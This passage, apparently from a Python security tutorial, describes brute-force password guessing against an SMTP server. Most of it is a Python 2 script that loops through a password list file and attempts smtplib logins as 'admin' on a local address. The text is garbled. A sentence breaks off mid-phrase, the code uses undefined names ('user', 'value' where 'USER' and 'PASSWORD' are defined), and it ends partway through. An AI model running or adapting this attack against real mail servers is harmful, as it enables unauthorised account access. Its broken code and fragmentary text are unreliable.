E-mail client applications regularly use SMTP only for sending e-mails. To perform brute-force password auditing against SMTP, we can use the

IP = "127.0.0.1" USER = "admin"
Check the SMTP with each and every password in the password list:
attackNumber = 1 with open('passwordlist.txt') as f: for PASSWORD in f: try: print "-"*12 print "User:",USER,"Password:",PASSWORD smtp = smtplib.SMTP(IP) smtp.login(user, value) print "\t...
